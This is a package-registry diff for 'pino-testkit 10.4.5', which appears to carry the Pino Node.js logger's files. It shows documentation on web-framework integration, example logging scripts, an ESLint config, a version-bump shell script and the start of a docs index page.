pino-testkit 10.4.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.nojekyll +0 -0
- package/.prettierignore +1 -0
- package/CNAME +1 -0
- package/CONTRIBUTING.md +30 -0
- package/LICENSE +21 -0
- package/README.md +175 -0
- package/SECURITY.md +87 -0
- package/benchmarks/basic.bench.js +95 -0
- package/benchmarks/child-child.bench.js +52 -0
- package/benchmarks/child-creation.bench.js +73 -0
- package/benchmarks/child.bench.js +62 -0
- package/benchmarks/deep-object.bench.js +88 -0
- package/benchmarks/formatters.bench.js +50 -0
- package/benchmarks/internal/custom-levels.js +67 -0
- package/benchmarks/internal/just-pino-heavy.bench.js +76 -0
- package/benchmarks/internal/just-pino.bench.js +182 -0
- package/benchmarks/internal/parent-vs-child.bench.js +75 -0
- package/benchmarks/internal/redact.bench.js +86 -0
- package/benchmarks/long-string.bench.js +81 -0
- package/benchmarks/multi-arg.bench.js +193 -0
- package/benchmarks/multistream.js +98 -0
- package/benchmarks/object.bench.js +82 -0
- package/benchmarks/utils/generate-benchmark-doc.js +36 -0
- package/benchmarks/utils/runbench.js +138 -0
- package/benchmarks/utils/wrap-log-level.js +55 -0
- package/bin.js +6 -0
- package/browser.js +547 -0
- package/build/sync-version.js +25 -0
- package/docs/api.md +1593 -0
- package/docs/asynchronous.md +40 -0
- package/docs/benchmarks.md +55 -0
- package/docs/browser.md +278 -0
- package/docs/bundling.md +40 -0
- package/docs/child-loggers.md +95 -0
- package/docs/diagnostics.md +16 -0
- package/docs/ecosystem.md +86 -0
- package/docs/help.md +345 -0
- package/docs/lts.md +64 -0
- package/docs/pretty.md +35 -0
- package/docs/redaction.md +135 -0
- package/docs/transports.md +1376 -0
- package/docs/web.md +309 -0
- package/eslint.config.js +28 -0
- package/examples/basic.js +43 -0
- package/examples/transport.js +68 -0
- package/favicon.ico +0 -0
- package/file.js +12 -0
- package/inc-version.sh +42 -0
- package/index.html +55 -0
- package/lib/caller.js +30 -0
- package/lib/constants.js +28 -0
- package/lib/contract.js +8 -0
- package/lib/deprecations.js +8 -0
- package/lib/levels.js +241 -0
- package/lib/meta.js +3 -0
- package/lib/multistream.js +203 -0
- package/lib/proto.js +256 -0
- package/lib/redaction.js +114 -0
- package/lib/symbols.js +74 -0
- package/lib/time.js +39 -0
- package/lib/tools.js +427 -0
- package/lib/transport-stream.js +56 -0
- package/lib/transport.js +289 -0
- package/lib/worker.js +194 -0
- package/package.json +119 -0
- package/pino.d.ts +908 -0
- package/pino.js +240 -0
- package/test/basic.test.js +886 -0
- package/test/broken-pipe.test.js +59 -0
- package/test/browser-child.test.js +132 -0
- package/test/browser-disabled.test.js +87 -0
- package/test/browser-early-console-freeze.test.js +12 -0
- package/test/browser-is-level-enabled.test.js +101 -0
- package/test/browser-levels.test.js +241 -0
- package/test/browser-serializers.test.js +352 -0
- package/test/browser-timestamp.test.js +88 -0
- package/test/browser-transmit.test.js +417 -0
- package/test/browser.test.js +698 -0
- package/test/complex-objects.test.js +36 -0
- package/test/crlf.test.js +34 -0
- package/test/custom-levels.test.js +267 -0
- package/test/diagnostics.test.js +107 -0
- package/test/error-key.test.js +37 -0
- package/test/error.test.js +403 -0
- package/test/escaping.test.js +93 -0
- package/test/esm/esm.mjs +14 -0
- package/test/esm/index.test.js +21 -0
- package/test/esm/named-exports.mjs +29 -0
- package/test/exit.test.js +79 -0
- package/test/fixtures/broken-pipe/basic.js +9 -0
- package/test/fixtures/broken-pipe/destination.js +10 -0
- package/test/fixtures/broken-pipe/syncfalse.js +12 -0
- package/test/fixtures/console-transport.js +13 -0
- package/test/fixtures/crashing-transport.js +13 -0
- package/test/fixtures/default-exit.js +8 -0
- package/test/fixtures/destination-exit.js +8 -0
- package/test/fixtures/eval/index.js +13 -0
- package/test/fixtures/eval/node_modules/14-files.js +3 -0
- package/test/fixtures/eval/node_modules/2-files.js +3 -0
- package/test/fixtures/eval/node_modules/file1.js +5 -0
- package/test/fixtures/eval/node_modules/file10.js +5 -0
- package/test/fixtures/eval/node_modules/file11.js +5 -0
- package/test/fixtures/eval/node_modules/file12.js +5 -0
- package/test/fixtures/eval/node_modules/file13.js +5 -0
- package/test/fixtures/eval/node_modules/file14.js +11 -0
- package/test/fixtures/eval/node_modules/file2.js +5 -0
- package/test/fixtures/eval/node_modules/file3.js +5 -0
- package/test/fixtures/eval/node_modules/file4.js +5 -0
- package/test/fixtures/eval/node_modules/file5.js +5 -0
- package/test/fixtures/eval/node_modules/file6.js +5 -0
- package/test/fixtures/eval/node_modules/file7.js +5 -0
- package/test/fixtures/eval/node_modules/file8.js +5 -0
- package/test/fixtures/eval/node_modules/file9.js +5 -0
- package/test/fixtures/noop-transport.js +10 -0
- package/test/fixtures/pretty/null-prototype.js +8 -0
- package/test/fixtures/stdout-hack-protection.js +11 -0
- package/test/fixtures/syncfalse-child.js +6 -0
- package/test/fixtures/syncfalse-exit.js +9 -0
- package/test/fixtures/syncfalse-flush-exit.js +10 -0
- package/test/fixtures/syncfalse.js +6 -0
- package/test/fixtures/syntax-error-esm.mjs +2 -0
- package/test/fixtures/to-file-transport-with-transform.js +20 -0
- package/test/fixtures/to-file-transport.js +13 -0
- package/test/fixtures/to-file-transport.mjs +8 -0
- package/test/fixtures/transport/index.js +12 -0
- package/test/fixtures/transport/package.json +5 -0
- package/test/fixtures/transport-exit-immediately-with-async-dest.js +16 -0
- package/test/fixtures/transport-exit-immediately.js +11 -0
- package/test/fixtures/transport-exit-on-ready.js +12 -0
- package/test/fixtures/transport-invalid-node-options.js +26 -0
- package/test/fixtures/transport-main.js +9 -0
- package/test/fixtures/transport-many-lines.js +29 -0
- package/test/fixtures/transport-preload-main.mjs +13 -0
- package/test/fixtures/transport-preload.mjs +13 -0
- package/test/fixtures/transport-string-stdout.js +9 -0
- package/test/fixtures/transport-transform.js +21 -0
- package/test/fixtures/transport-uses-pino-config.js +33 -0
- package/test/fixtures/transport-with-on-exit.js +12 -0
- package/test/fixtures/transport-worker-data.js +19 -0
- package/test/fixtures/transport-worker-name.js +24 -0
- package/test/fixtures/transport-worker.js +15 -0
- package/test/fixtures/transport-wrong-export-type.js +3 -0
- package/test/fixtures/ts/to-file-transport-native.mts +15 -0
- package/test/fixtures/ts/to-file-transport-with-transform.ts +18 -0
- package/test/fixtures/ts/to-file-transport.ts +11 -0
- package/test/fixtures/ts/transpile.cjs +36 -0
- package/test/fixtures/ts/transport-exit-immediately-with-async-dest.ts +15 -0
- package/test/fixtures/ts/transport-exit-immediately.ts +10 -0
- package/test/fixtures/ts/transport-exit-on-ready.ts +11 -0
- package/test/fixtures/ts/transport-main.ts +8 -0
- package/test/fixtures/ts/transport-string-stdout.ts +8 -0
- package/test/fixtures/ts/transport-worker.ts +14 -0
- package/test/formatters.test.js +364 -0
- package/test/helper.d.ts +4 -0
- package/test/helper.js +155 -0
- package/test/hooks.test.js +114 -0
- package/test/http.test.js +214 -0
- package/test/internals/version.test.js +17 -0
- package/test/is-level-enabled.test.js +179 -0
- package/test/jest/basic.spec.js +10 -0
- package/test/levels.test.js +810 -0
- package/test/metadata.test.js +120 -0
- package/test/mixin-merge-strategy.test.js +57 -0
- package/test/mixin.test.js +241 -0
- package/test/multistream.test.js +729 -0
- package/test/redact.test.js +893 -0
- package/test/serializers.test.js +257 -0
- package/test/stdout-protection.test.js +41 -0
- package/test/syncfalse.test.js +186 -0
- package/test/timestamp-nano.test.js +37 -0
- package/test/timestamp.test.js +124 -0
- package/test/transport/big.test.js +42 -0
- package/test/transport/bundlers-support.test.js +99 -0
- package/test/transport/caller.test.js +24 -0
- package/test/transport/core.test.js +733 -0
- package/test/transport/core.transpiled.test.ts +114 -0
- package/test/transport/crash.test.js +36 -0
- package/test/transport/module-link.test.js +241 -0
- package/test/transport/native-type-stripping.test.mjs +151 -0
- package/test/transport/node-options.test.js +116 -0
- package/test/transport/pipeline.test.js +137 -0
- package/test/transport/preload.test.js +54 -0
- package/test/transport/repl.test.js +15 -0
- package/test/transport/sync-false.test.js +67 -0
- package/test/transport/sync-true.test.js +57 -0
- package/test/transport/targets.test.js +48 -0
- package/test/transport/uses-pino-config.test.js +166 -0
- package/test/transport-stream.test.js +40 -0
- package/test/types/pino-import.test-d.cts +30 -0
- package/test/types/pino-multistream.test-d.ts +28 -0
- package/test/types/pino-top-export.test-d.ts +34 -0
- package/test/types/pino-transport.test-d.ts +156 -0
- package/test/types/pino-type-only.test-d.ts +75 -0
- package/test/types/pino.test-d.ts +683 -0
- package/test/types/pino.ts +91 -0
- package/tsconfig.json +14 -0
package/docs/web.md
ADDED
|
@@ -0,0 +1,309 @@
|
|
|
1
|
+
# Web Frameworks
|
|
2
|
+
|
|
3
|
+
Since HTTP logging is a primary use case, Pino has first-class support for the Node.js
|
|
4
|
+
web framework ecosystem.
|
|
5
|
+
|
|
6
|
+
- [Web Frameworks](#web-frameworks)
|
|
7
|
+
- [Pino with Fastify](#pino-with-fastify)
|
|
8
|
+
- [Pino with Express](#pino-with-express)
|
|
9
|
+
- [Pino with Hapi](#pino-with-hapi)
|
|
10
|
+
- [Pino with Restify](#pino-with-restify)
|
|
11
|
+
- [Pino with Koa](#pino-with-koa)
|
|
12
|
+
- [Pino with Node core `http`](#pino-with-node-core-http)
|
|
13
|
+
- [Pino with Nest](#pino-with-nest)
|
|
14
|
+
- [Pino with H3](#pino-with-h3)
|
|
15
|
+
- [Pino with Hono](#pino-with-hono)
|
|
16
|
+
|
|
17
|
+
<a id="fastify"></a>
|
|
18
|
+
## Pino with Fastify
|
|
19
|
+
|
|
20
|
+
The Fastify web framework comes bundled with Pino by default, simply set Fastify's
|
|
21
|
+
`logger` option to `true` and use `request.log` or `reply.log` for log messages that correspond
|
|
22
|
+
to each request:
|
|
23
|
+
|
|
24
|
+
```js
|
|
25
|
+
const fastify = require('fastify')({
|
|
26
|
+
logger: true
|
|
27
|
+
})
|
|
28
|
+
|
|
29
|
+
fastify.get('/', async (request, reply) => {
|
|
30
|
+
request.log.info('something')
|
|
31
|
+
return { hello: 'world' }
|
|
32
|
+
})
|
|
33
|
+
|
|
34
|
+
fastify.listen({ port: 3000 }, (err) => {
|
|
35
|
+
if (err) {
|
|
36
|
+
fastify.log.error(err)
|
|
37
|
+
process.exit(1)
|
|
38
|
+
}
|
|
39
|
+
})
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
The `logger` option can also be set to an object, which will be passed through directly
|
|
43
|
+
as the [`pino` options object](/docs/api.md#options-object).
|
|
44
|
+
|
|
45
|
+
See the [fastify documentation](https://www.fastify.io/docs/latest/Reference/Logging/) for more information.
|
|
46
|
+
|
|
47
|
+
<a id="express"></a>
|
|
48
|
+
## Pino with Express
|
|
49
|
+
|
|
50
|
+
```sh
|
|
51
|
+
npm install pino-http
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
```js
|
|
55
|
+
const app = require('express')()
|
|
56
|
+
const pino = require('pino-http')()
|
|
57
|
+
|
|
58
|
+
app.use(pino)
|
|
59
|
+
|
|
60
|
+
app.get('/', function (req, res) {
|
|
61
|
+
req.log.info('something')
|
|
62
|
+
res.send('hello world')
|
|
63
|
+
})
|
|
64
|
+
|
|
65
|
+
app.listen(3000)
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
See the [pino-http README](https://npm.im/pino-http) for more info.
|
|
69
|
+
|
|
70
|
+
<a id="hapi"></a>
|
|
71
|
+
## Pino with Hapi
|
|
72
|
+
|
|
73
|
+
```sh
|
|
74
|
+
npm install hapi-pino
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
```js
|
|
78
|
+
'use strict'
|
|
79
|
+
|
|
80
|
+
const Hapi = require('@hapi/hapi')
|
|
81
|
+
const Pino = require('hapi-pino');
|
|
82
|
+
|
|
83
|
+
async function start () {
|
|
84
|
+
// Create a server with a host and port
|
|
85
|
+
const server = Hapi.server({
|
|
86
|
+
host: 'localhost',
|
|
87
|
+
port: 3000
|
|
88
|
+
})
|
|
89
|
+
|
|
90
|
+
// Add the route
|
|
91
|
+
server.route({
|
|
92
|
+
method: 'GET',
|
|
93
|
+
path: '/',
|
|
94
|
+
handler: async function (request, h) {
|
|
95
|
+
// request.log is HAPI's standard way of logging
|
|
96
|
+
request.log(['a', 'b'], 'Request into hello world')
|
|
97
|
+
|
|
98
|
+
// a pino instance can also be used, which will be faster
|
|
99
|
+
request.logger.info('In handler %s', request.path)
|
|
100
|
+
|
|
101
|
+
return 'hello world'
|
|
102
|
+
}
|
|
103
|
+
})
|
|
104
|
+
|
|
105
|
+
await server.register(Pino)
|
|
106
|
+
|
|
107
|
+
// also as a decorated API
|
|
108
|
+
server.logger.info('another way for accessing it')
|
|
109
|
+
|
|
110
|
+
// and through Hapi standard logging system
|
|
111
|
+
server.log(['subsystem'], 'third way for accessing it')
|
|
112
|
+
|
|
113
|
+
await server.start()
|
|
114
|
+
|
|
115
|
+
return server
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
start().catch((err) => {
|
|
119
|
+
console.log(err)
|
|
120
|
+
process.exit(1)
|
|
121
|
+
})
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
See the [hapi-pino README](https://npm.im/hapi-pino) for more info.
|
|
125
|
+
|
|
126
|
+
<a id="restify"></a>
|
|
127
|
+
## Pino with Restify
|
|
128
|
+
|
|
129
|
+
```sh
|
|
130
|
+
npm install restify-pino-logger
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
```js
|
|
134
|
+
const server = require('restify').createServer({name: 'server'})
|
|
135
|
+
const pino = require('restify-pino-logger')()
|
|
136
|
+
|
|
137
|
+
server.use(pino)
|
|
138
|
+
|
|
139
|
+
server.get('/', function (req, res) {
|
|
140
|
+
req.log.info('something')
|
|
141
|
+
res.send('hello world')
|
|
142
|
+
})
|
|
143
|
+
|
|
144
|
+
server.listen(3000)
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
See the [restify-pino-logger README](https://npm.im/restify-pino-logger) for more info.
|
|
148
|
+
|
|
149
|
+
<a id="koa"></a>
|
|
150
|
+
## Pino with Koa
|
|
151
|
+
|
|
152
|
+
```sh
|
|
153
|
+
npm install koa-pino-logger
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
```js
|
|
157
|
+
const Koa = require('koa')
|
|
158
|
+
const app = new Koa()
|
|
159
|
+
const pino = require('koa-pino-logger')()
|
|
160
|
+
|
|
161
|
+
app.use(pino)
|
|
162
|
+
|
|
163
|
+
app.use((ctx) => {
|
|
164
|
+
ctx.log.info('something else')
|
|
165
|
+
ctx.body = 'hello world'
|
|
166
|
+
})
|
|
167
|
+
|
|
168
|
+
app.listen(3000)
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
See the [koa-pino-logger README](https://github.com/pinojs/koa-pino-logger) for more info.
|
|
172
|
+
|
|
173
|
+
<a id="http"></a>
|
|
174
|
+
## Pino with Node core `http`
|
|
175
|
+
|
|
176
|
+
```sh
|
|
177
|
+
npm install pino-http
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
```js
|
|
181
|
+
const http = require('http')
|
|
182
|
+
const server = http.createServer(handle)
|
|
183
|
+
const logger = require('pino-http')()
|
|
184
|
+
|
|
185
|
+
function handle (req, res) {
|
|
186
|
+
logger(req, res)
|
|
187
|
+
req.log.info('something else')
|
|
188
|
+
res.end('hello world')
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
server.listen(3000)
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
See the [pino-http README](https://npm.im/pino-http) for more info.
|
|
195
|
+
|
|
196
|
+
|
|
197
|
+
<a id="nest"></a>
|
|
198
|
+
## Pino with Nest
|
|
199
|
+
|
|
200
|
+
```sh
|
|
201
|
+
npm install nestjs-pino
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
```ts
|
|
205
|
+
import { NestFactory } from '@nestjs/core'
|
|
206
|
+
import { Controller, Get, Module } from '@nestjs/common'
|
|
207
|
+
import { LoggerModule, Logger } from 'nestjs-pino'
|
|
208
|
+
|
|
209
|
+
@Controller()
|
|
210
|
+
export class AppController {
|
|
211
|
+
constructor(private readonly logger: Logger) {}
|
|
212
|
+
|
|
213
|
+
@Get()
|
|
214
|
+
getHello() {
|
|
215
|
+
this.logger.log('something')
|
|
216
|
+
return `Hello world`
|
|
217
|
+
}
|
|
218
|
+
}
|
|
219
|
+
|
|
220
|
+
@Module({
|
|
221
|
+
controllers: [AppController],
|
|
222
|
+
imports: [LoggerModule.forRoot()]
|
|
223
|
+
})
|
|
224
|
+
class MyModule {}
|
|
225
|
+
|
|
226
|
+
async function bootstrap() {
|
|
227
|
+
const app = await NestFactory.create(MyModule)
|
|
228
|
+
await app.listen(3000)
|
|
229
|
+
}
|
|
230
|
+
bootstrap()
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
See the [nestjs-pino README](https://npm.im/nestjs-pino) for more info.
|
|
234
|
+
|
|
235
|
+
|
|
236
|
+
<a id="h3"></a>
|
|
237
|
+
## Pino with H3
|
|
238
|
+
|
|
239
|
+
```sh
|
|
240
|
+
npm install pino-http h3
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
Save as `server.mjs`:
|
|
244
|
+
|
|
245
|
+
```js
|
|
246
|
+
import { createApp, createRouter, eventHandler, fromNodeMiddleware } from "h3";
|
|
247
|
+
import pino from 'pino-http'
|
|
248
|
+
|
|
249
|
+
export const app = createApp();
|
|
250
|
+
|
|
251
|
+
const router = createRouter();
|
|
252
|
+
app.use(router);
|
|
253
|
+
app.use(fromNodeMiddleware(pino()))
|
|
254
|
+
|
|
255
|
+
app.use(eventHandler((event) => {
|
|
256
|
+
event.node.req.log.info('something')
|
|
257
|
+
return 'hello world'
|
|
258
|
+
}))
|
|
259
|
+
|
|
260
|
+
router.get(
|
|
261
|
+
"/",
|
|
262
|
+
eventHandler((event) => {
|
|
263
|
+
return { path: event.path, message: "Hello World!" };
|
|
264
|
+
}),
|
|
265
|
+
);
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
Execute `npx --yes listhen -w --open ./server.mjs`.
|
|
269
|
+
|
|
270
|
+
See the [pino-http README](https://npm.im/pino-http) for more info.
|
|
271
|
+
|
|
272
|
+
|
|
273
|
+
<a id="hono"></a>
|
|
274
|
+
## Pino with Hono
|
|
275
|
+
|
|
276
|
+
```sh
|
|
277
|
+
npm install pino pino-http hono
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
```js
|
|
281
|
+
import { serve } from '@hono/node-server';
|
|
282
|
+
import { Hono } from 'hono';
|
|
283
|
+
import { requestId } from 'hono/request-id';
|
|
284
|
+
import { pinoHttp } from 'pino-http';
|
|
285
|
+
|
|
286
|
+
const app = new Hono();
|
|
287
|
+
app.use(requestId());
|
|
288
|
+
app.use(async (c, next) => {
|
|
289
|
+
// pass hono's request-id to pino-http
|
|
290
|
+
c.env.incoming.id = c.var.requestId;
|
|
291
|
+
|
|
292
|
+
// map express style middleware to hono
|
|
293
|
+
await new Promise((resolve) => pinoHttp()(c.env.incoming, c.env.outgoing, () => resolve()));
|
|
294
|
+
|
|
295
|
+
c.set('logger', c.env.incoming.log);
|
|
296
|
+
|
|
297
|
+
await next();
|
|
298
|
+
});
|
|
299
|
+
|
|
300
|
+
app.get('/', (c) => {
|
|
301
|
+
c.var.logger.info('something');
|
|
302
|
+
|
|
303
|
+
return c.text('Hello Node.js!');
|
|
304
|
+
});
|
|
305
|
+
|
|
306
|
+
serve(app);
|
|
307
|
+
```
|
|
308
|
+
|
|
309
|
+
See the [pino-http README](https://npm.im/pino-http) for more info.
|
package/eslint.config.js
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
'use strict'
|
|
2
|
+
|
|
3
|
+
const { defineConfig, globalIgnores } = require('eslint/config')
|
|
4
|
+
const neostandard = require('neostandard')
|
|
5
|
+
|
|
6
|
+
module.exports = defineConfig([
|
|
7
|
+
neostandard({
|
|
8
|
+
ts: true
|
|
9
|
+
}),
|
|
10
|
+
globalIgnores([
|
|
11
|
+
'pino.d.ts',
|
|
12
|
+
'test/fixtures/syntax-error-esm.mjs',
|
|
13
|
+
'test/fixtures/ts/*cjs',
|
|
14
|
+
]),
|
|
15
|
+
{
|
|
16
|
+
rules: {
|
|
17
|
+
'no-var': 'off',
|
|
18
|
+
},
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
files: ['test/types/**/*'],
|
|
22
|
+
rules: {
|
|
23
|
+
'@typescript-eslint/no-unused-expressions': 'off',
|
|
24
|
+
'@typescript-eslint/no-unused-vars': 'off',
|
|
25
|
+
'n/handle-callback-err': 'off',
|
|
26
|
+
},
|
|
27
|
+
},
|
|
28
|
+
])
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
'use strict'
|
|
2
|
+
|
|
3
|
+
// Pino's primary usage writes ndjson to `stdout`:
|
|
4
|
+
const pino = require('..')()
|
|
5
|
+
|
|
6
|
+
// However, if "human readable" output is desired,
|
|
7
|
+
// `pino-pretty` can be provided as the destination
|
|
8
|
+
// stream by uncommenting the following line in place
|
|
9
|
+
// of the previous declaration:
|
|
10
|
+
// const pino = require('..')(require('pino-pretty')())
|
|
11
|
+
|
|
12
|
+
pino.info('hello world')
|
|
13
|
+
pino.error('this is at error level')
|
|
14
|
+
pino.info('the answer is %d', 42)
|
|
15
|
+
pino.info({ obj: 42 }, 'hello world')
|
|
16
|
+
pino.info({ obj: 42, b: 2 }, 'hello world')
|
|
17
|
+
pino.info({ nested: { obj: 42 } }, 'nested')
|
|
18
|
+
setImmediate(() => {
|
|
19
|
+
pino.info('after setImmediate')
|
|
20
|
+
})
|
|
21
|
+
pino.error(new Error('an error'))
|
|
22
|
+
|
|
23
|
+
const child = pino.child({ a: 'property' })
|
|
24
|
+
child.info('hello child!')
|
|
25
|
+
|
|
26
|
+
const childsChild = child.child({ another: 'property' })
|
|
27
|
+
childsChild.info('hello baby..')
|
|
28
|
+
|
|
29
|
+
pino.debug('this should be mute')
|
|
30
|
+
|
|
31
|
+
pino.level = 'trace'
|
|
32
|
+
|
|
33
|
+
pino.debug('this is a debug statement')
|
|
34
|
+
|
|
35
|
+
pino.child({ another: 'property' }).debug('this is a debug statement via child')
|
|
36
|
+
pino.trace('this is a trace statement')
|
|
37
|
+
|
|
38
|
+
pino.debug('this is a "debug" statement with "')
|
|
39
|
+
|
|
40
|
+
pino.info(new Error('kaboom'))
|
|
41
|
+
pino.info(null)
|
|
42
|
+
|
|
43
|
+
pino.info(new Error('kaboom'), 'with', 'a', 'message')
|
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
'use strict'
|
|
2
|
+
|
|
3
|
+
const pino = require('..')
|
|
4
|
+
const { tmpdir } = require('node:os')
|
|
5
|
+
const { join } = require('node:path')
|
|
6
|
+
|
|
7
|
+
const file = join(tmpdir(), `pino-${process.pid}-example`)
|
|
8
|
+
|
|
9
|
+
const transport = pino.transport({
|
|
10
|
+
targets: [{
|
|
11
|
+
level: 'warn',
|
|
12
|
+
target: 'pino/file',
|
|
13
|
+
options: {
|
|
14
|
+
destination: file
|
|
15
|
+
}
|
|
16
|
+
/*
|
|
17
|
+
}, {
|
|
18
|
+
level: 'info',
|
|
19
|
+
target: 'pino-elasticsearch',
|
|
20
|
+
options: {
|
|
21
|
+
node: 'http://localhost:9200'
|
|
22
|
+
}
|
|
23
|
+
*/
|
|
24
|
+
}, {
|
|
25
|
+
level: 'info',
|
|
26
|
+
target: 'pino-pretty'
|
|
27
|
+
}]
|
|
28
|
+
})
|
|
29
|
+
|
|
30
|
+
const logger = pino(transport)
|
|
31
|
+
|
|
32
|
+
logger.info({
|
|
33
|
+
file
|
|
34
|
+
}, 'logging destination')
|
|
35
|
+
|
|
36
|
+
logger.info('hello world')
|
|
37
|
+
logger.error('this is at error level')
|
|
38
|
+
logger.info('the answer is %d', 42)
|
|
39
|
+
logger.info({ obj: 42 }, 'hello world')
|
|
40
|
+
logger.info({ obj: 42, b: 2 }, 'hello world')
|
|
41
|
+
logger.info({ nested: { obj: 42 } }, 'nested')
|
|
42
|
+
logger.warn('WARNING!')
|
|
43
|
+
setImmediate(() => {
|
|
44
|
+
logger.info('after setImmediate')
|
|
45
|
+
})
|
|
46
|
+
logger.error(new Error('an error'))
|
|
47
|
+
|
|
48
|
+
const child = logger.child({ a: 'property' })
|
|
49
|
+
child.info('hello child!')
|
|
50
|
+
|
|
51
|
+
const childsChild = child.child({ another: 'property' })
|
|
52
|
+
childsChild.info('hello baby..')
|
|
53
|
+
|
|
54
|
+
logger.debug('this should be mute')
|
|
55
|
+
|
|
56
|
+
logger.level = 'trace'
|
|
57
|
+
|
|
58
|
+
logger.debug('this is a debug statement')
|
|
59
|
+
|
|
60
|
+
logger.child({ another: 'property' }).debug('this is a debug statement via child')
|
|
61
|
+
logger.trace('this is a trace statement')
|
|
62
|
+
|
|
63
|
+
logger.debug('this is a "debug" statement with "')
|
|
64
|
+
|
|
65
|
+
logger.info(new Error('kaboom'))
|
|
66
|
+
logger.info(null)
|
|
67
|
+
|
|
68
|
+
logger.info(new Error('kaboom'), 'with', 'a', 'message')
|
package/favicon.ico
ADDED
|
Binary file
|
package/file.js
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
'use strict'
|
|
2
|
+
|
|
3
|
+
const pino = require('./pino')
|
|
4
|
+
const { once } = require('node:events')
|
|
5
|
+
|
|
6
|
+
module.exports = async function (opts = {}) {
|
|
7
|
+
const destOpts = Object.assign({}, opts, { dest: opts.destination || 1, sync: false })
|
|
8
|
+
delete destOpts.destination
|
|
9
|
+
const destination = pino.destination(destOpts)
|
|
10
|
+
await once(destination, 'ready')
|
|
11
|
+
return destination
|
|
12
|
+
}
|
package/inc-version.sh
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
|
|
3
|
+
set -e
|
|
4
|
+
|
|
5
|
+
PATH=./node_modules/.bin:${PATH}
|
|
6
|
+
CURRENT_VERSION=$(jq -r .version package.json)
|
|
7
|
+
|
|
8
|
+
case ${1} in
|
|
9
|
+
Major | MAJOR | major)
|
|
10
|
+
LEVEL=major
|
|
11
|
+
;;
|
|
12
|
+
|
|
13
|
+
Minor | MINOR | minor)
|
|
14
|
+
LEVEL=minor
|
|
15
|
+
;;
|
|
16
|
+
|
|
17
|
+
Patch | PATCH | patch)
|
|
18
|
+
LEVEL=patch
|
|
19
|
+
;;
|
|
20
|
+
|
|
21
|
+
*)
|
|
22
|
+
LEVEL=patch
|
|
23
|
+
;;
|
|
24
|
+
esac
|
|
25
|
+
|
|
26
|
+
NEW_VERSION=$(semver -i ${LEVEL} ${CURRENT_VERSION})
|
|
27
|
+
echo "${CURRENT_VERSION} => ${NEW_VERSION}"
|
|
28
|
+
read -n 1 -s -r -p "Press any key to continue (ctrl+c to abort)..."
|
|
29
|
+
echo ""
|
|
30
|
+
|
|
31
|
+
echo "Patching package.json..."
|
|
32
|
+
cat package.json | \
|
|
33
|
+
jq --arg vers "${NEW_VERSION}" '.version = $vers' | \
|
|
34
|
+
tee package.json 1>/dev/null
|
|
35
|
+
|
|
36
|
+
echo "Patching lib/meta.js ..."
|
|
37
|
+
SED_SCRIPT=$(printf 's/%s/%s/' ${CURRENT_VERSION//\./\\.} ${NEW_VERSION//\./\\.})
|
|
38
|
+
cat ./lib/meta.js | \
|
|
39
|
+
sed -e ${SED_SCRIPT} | \
|
|
40
|
+
tee ./lib/meta.js 1>/dev/null
|
|
41
|
+
|
|
42
|
+
echo "Done."
|
package/index.html
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<title>Pino - Super fast, all natural JSON logger for Node.js</title>
|
|
6
|
+
<meta name="description" content="Super fast, all natural JSON logger for Node.js">
|
|
7
|
+
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
|
|
8
|
+
<link rel="stylesheet" href="//unpkg.com/docsify-themeable/dist/css/theme-simple.css">
|
|
9
|
+
<style>
|
|
10
|
+
:root {
|
|
11
|
+
--base-font-size: 16px;
|
|
12
|
+
--theme-color: rgb(104, 118, 52);
|
|
13
|
+
--link-color: rgb(104, 118, 52);
|
|
14
|
+
--link-color--hover: rgb(137, 152, 100);
|
|
15
|
+
--sidebar-name-margin: 0;
|
|
16
|
+
--sidebar-name-padding: 0;
|
|
17
|
+
--code-font-size: .9em;
|
|
18
|
+
}
|
|
19
|
+
.sidebar > h1 {
|
|
20
|
+
margin-bottom: -.75em;
|
|
21
|
+
margin-top: .75em;
|
|
22
|
+
}
|
|
23
|
+
.sidebar > h1 img {
|
|
24
|
+
height: 4em;
|
|
25
|
+
}
|
|
26
|
+
.markdown-section a code {
|
|
27
|
+
color: var(--link-color)!important;
|
|
28
|
+
}
|
|
29
|
+
.markdown-section code:not([class*="lang-"]):not([class*="language-"]) {
|
|
30
|
+
white-space: unset
|
|
31
|
+
}
|
|
32
|
+
</style>
|
|
33
|
+
<link rel="icon" type="image/png" sizes="32x32" href="favicon-32x32.png">
|
|
34
|
+
<link rel="icon" type="image/png" sizes="16x16" href="favicon-16x16.png">
|
|
35
|
+
</head>
|
|
36
|
+
<body>
|
|
37
|
+
<div id="app"></div>
|
|
38
|
+
</body>
|
|
39
|
+
<script>
|
|
40
|
+
window.$docsify = {
|
|
41
|
+
name: 'pino',
|
|
42
|
+
logo: './pino-tree.png',
|
|
43
|
+
loadSidebar: 'docsify/sidebar.md',
|
